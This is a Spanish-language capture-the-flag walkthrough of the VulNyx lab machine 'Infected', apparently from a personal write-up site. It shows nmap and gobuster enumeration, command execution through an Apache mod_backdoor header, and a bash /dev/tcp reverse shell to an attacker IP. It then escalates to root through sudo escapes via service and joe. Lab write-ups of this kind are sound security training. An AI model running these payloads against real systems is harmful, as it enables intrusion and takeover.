🔵 NYX - Infected

#vulnyx #nyx #linux #mod_backdoor #service (sudo) #joe (sudo)

Diciembre 5, 2023 by Miguel R. (d4t4s3c)

Information

Infected es una máquina Linux de la plataforma VulNyx, tiene un nivel de dificultad bajo y fue creada por el usuario d4t4s3c.

  • Acceso inicial: Se encuentra un modulo de Apache2 con un backdoor permitiendo obtener una shell.
  • Escalada de privilegios: El usuario dispone de permisos sudo sobre un binario pudiendo escapar una shell como root.


Enumeration

Nmap

TCP
 nmap -n -Pn -sS -p- --min-rate 5000 192.168.1.56
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-04 16:00 CET
Nmap scan report for 192.168.1.56
Host is up (0.0010s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
 nmap -sVC -p22,80 192.168.1.56
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-04 16:00 CET
Nmap scan report for 192.168.1.56
Host is up (0.00032s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u1 (protocol 2.0)
| ssh-hostkey: 
|   256 a9:a8:52:f3:cd:ec:0d:5b:5f:f3:af:5b:3c:db:76:b6 (ECDSA)
|_  256 73:f5:8e:44:0c:b9:0a:e0:e7:31:0c:04:ac:7e:ff:fd (ED25519)
80/tcp open  http    Apache httpd 2.4.57 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.57 (Debian)

Shell (www-data)

80/TCP (HTTP)

Directory Brute Force
 gobuster dir -w /opt/common.txt -u http://192.168.1.56/ -b 403,404
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.1.56/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /opt/common.txt
[+] Negative Status codes:   403,404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html           (Status: 200) [Size: 10701]
/info.php             (Status: 200) [Size: 114387]
Progress: 4727 / 4727 (100.00%)
===============================================================
Finished
===============================================================

El archivo info.php es un phpinfo, revisando modulos cargados encuentro mod_backdoor

Buscando información veo que es un modulo de Apache2 que contiene un backdoor

(https://github.com/VladRico/apache2_BackdoorMod)

Encuentro y reviso un exploit, si pasas un argumento en la cabecera Backdor: lo interpretará permitiendo ejecutar comandos

(https://github.com/WangYihang/Apache-HTTP-Server-Module-Backdoor)

headers = {"Backdoor": command}

Consigo ejecutar comandos como usuario www-data

 curl -sX GET -H "Backdoor: id" "http://192.168.1.56"
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Ya ejecutando comandos intento obtener una reverse shell

 curl -sX GET -H "Backdoor: bash -c 'bash -i >& /dev/tcp/192.168.1.10/443 0>&1'" "http://192.168.1.56"

Obtengo la shell como usuario www-data

 nc -lvnp 443
listening on [any] 443 ...
connect to [192.168.1.10] from (UNKNOWN) [192.168.1.56] 43806
bash: cannot set terminal process group (478): Inappropriate ioctl for device
bash: no job control in this shell
www-data@infected:/$ id ; hostname
id ; hostname
uid=33(www-data) gid=33(www-data) groups=33(www-data)
infected

Shell (laurent)

El usuario www-data puede ejecutar como laurent el binario service con sudo

www-data@infected:/$ sudo -l
Matching Defaults entries for www-data on infected:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User www-data may run the following commands on infected:
    (laurent) NOPASSWD: /usr/sbin/service

En GTFOBins nos dan el one liner para escapar una shell y me convierto en usuario laurent

www-data@infected:/$ sudo -u laurent /usr/sbin/service ../../bin/sh
$ bash -i
laurent@infected:/$ id ; hostname
uid=1000(laurent) gid=1000(laurent) groups=1000(laurent)
infected

Privilege Escalation

El usuario laurent puede ejecutar como root el binario joe con sudo

laurent@infected:/$ sudo -l
Matching Defaults entries for laurent on infected:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User laurent may run the following commands on infected:
    (root) NOPASSWD: /usr/bin/joe

Ejecuto el binario joe con sudo

laurent@infected:~$ sudo -u root /usr/bin/joe

Presiono Ctrl + K + ! y aparece una entrada donde te permite ejecutar un programa

Me convierto en usuario root

root@infected:/# id ; hostname
uid=0(root) gid=0(root) groups=0(root)
infected

Flags

Ya como usuario root puedo leer las flags user.txt y root.txt

root@infected:/# find / -name user.txt -o -name root.txt 2>/dev/null |xargs cat
ffb462**************************
6b9d5d**************************

Hasta aquí la resolución de la máquina Infected.

Happy Hacking!


© d4t4s3c 2023-2025

results matching ""

    No results matching ""